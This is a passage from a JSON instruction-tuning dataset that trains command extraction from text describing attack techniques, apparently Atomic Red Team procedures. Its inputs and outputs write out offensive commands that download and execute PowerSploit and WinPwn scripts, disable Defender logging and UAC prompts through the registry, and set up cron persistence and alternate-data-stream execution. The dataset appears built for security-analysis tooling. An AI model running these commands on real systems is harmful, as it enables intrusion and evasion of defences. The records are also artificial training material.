extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Determine if certain directories are writable by checking the SIP status with the command: csrutil status; For checking system vulnerabilities through winPEAS, use the following WinPwn function: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nwinPEAS -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"csrutil status\\n\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nwinPEAS -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This procedure involves creating an Alternate Data Stream, requiring write permissions. The command to execute is: echo cmd /c echo \"Shell code execution.\"> #{file_name}:#{ads_filename}\nfor /f \"usebackq delims=?\" %i in (#{file_name}:#{ads_filename}) do %i. Post-execution, confirm the stream's presence with 'dir /a-d /s /r | find \":$DATA\"' in %temp%\\nfolder and access its content using 'notepad T1564.004_has_ads.txt:adstest.txt'.; This PowerShell script creates an Alternate Data Stream, requiring write access, via the command: echo \"test\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \"test\"\nset-content -path #{file_name} -stream #{ads_filename} -value \"test2\"\nset-content -path . -stream #{ads_filename} -value \"test3\"\n. Verification can be done by checking the %temp% directory with the specified commands.",
    "output": "{\"command_list\": [\"echo cmd /c echo \\\"Shell code execution.\\\"> #{file_name}:#{ads_filename}\\nfor /f \\\"usebackq delims=?\\\" %i in (#{file_name}:#{ads_filename}) do %i\\n\", \"echo \\\"test\\\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \\\"test\\\"\\nset-content -path #{file_name} -stream #{ads_filename} -value \\\"test2\\\"\\nset-content -path . -stream #{ads_filename} -value \\\"test3\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To download a file from the web using nimgrab.exe, run the following command: cmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\nimgrab.exe\" #{remote_file} #{destination_path}; The file can be downloaded via the command: powershell.exe iwr -URI #{remote_file} -Outfile #{local_path}",
    "output": "{\"command_list\": [\"cmd /c \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\nimgrab.exe\\\" #{remote_file} #{destination_path}\\n\", \"powershell.exe iwr -URI #{remote_file} -Outfile #{local_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To prevent logging to the Microsoft-Windows-Windows-Defender/Operational channel, an adversary can disable the ETW Provider by executing this command: reg add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender/Operational\" /v Enabled /t REG_DWORD /d 0 /f; An adversary may disable Windows Defender's ETW Provider, halting all logging to Microsoft-Windows-Windows-Defender/Operational, via the command: New-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender/Operational\" -Name Enabled  -PropertyType DWord -Value 0 -Force",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WINEVT\\\\Channels\\\\Microsoft-Windows-Windows Defender/Operational\\\" /v Enabled /t REG_DWORD /d 0 /f\\n\", \"New-ItemProperty \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WINEVT\\\\Channels\\\\Microsoft-Windows-Windows Defender/Operational\\\" -Name Enabled  -PropertyType DWord -Value 0 -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To decode a base64-encoded string and display it on the console, use the following command: ENCODED=$(echo '#{message}' | base64)\nprintf $ENCODED | base64 -d\necho $ENCODED | base64 -d\necho $(echo $ENCODED) | base64 -d\necho $ENCODED > #{encoded_file} && base64 -d #{encoded_file}\necho $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d\nbash -c \"{echo,\\\"$(echo $ENCODED)\\\"}|{base64,-d}\"; The following command sequence demonstrates various ways to decode a base64 string and output it: ENCODED=$(echo '#{message}' | b64encode -r -)\nprintf $ENCODED | b64decode -r\necho $ENCODED | b64decode -r\necho $(echo $ENCODED) | b64decode -r\necho $ENCODED > #{encoded_file} && b64encode -r #{encoded_file}\necho $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file}\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r\n",
    "output": "{\"command_list\": [\"ENCODED=$(echo '#{message}' | base64)\\nprintf $ENCODED | base64 -d\\necho $ENCODED | base64 -d\\necho $(echo $ENCODED) | base64 -d\\necho $ENCODED > #{encoded_file} && base64 -d #{encoded_file}\\necho $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}\\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d\\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d\\nbash -c \\\"{echo,\\\\\\\"$(echo $ENCODED)\\\\\\\"}|{base64,-d}\\\"\\n\", \"ENCODED=$(echo '#{message}' | b64encode -r -)\\nprintf $ENCODED | b64decode -r\\necho $ENCODED | b64decode -r\\necho $(echo $ENCODED) | b64decode -r\\necho $ENCODED > #{encoded_file} && b64encode -r #{encoded_file}\\necho $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file}\\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r\\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For automated execution, create a cron job by running this command which writes to /etc/cron.d: echo \"#{command}\" > /etc/cron.d/#{cron_script_name}\n; During Linux web server exploitation, Rocke employed this method to schedule script execution via the command: echo \"#{command}\" >> /var/spool/cron/crontabs/#{cron_script_name}\n",
    "output": "{\"command_list\": [\"echo \\\"#{command}\\\" > /etc/cron.d/#{cron_script_name}\\n\", \"echo \\\"#{command}\\\" >> /var/spool/cron/crontabs/#{cron_script_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For systems where you want to disable UAC's secure desktop prompt, execute this registry modification command: Set-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force; Adversaries may disable UAC notifications to evade defenses, as seen in BlotchyQuasar RAT activities, via the command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Security Center\" /v UACDisableNotify /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"Set-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Security Center\\\" /v UACDisableNotify /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
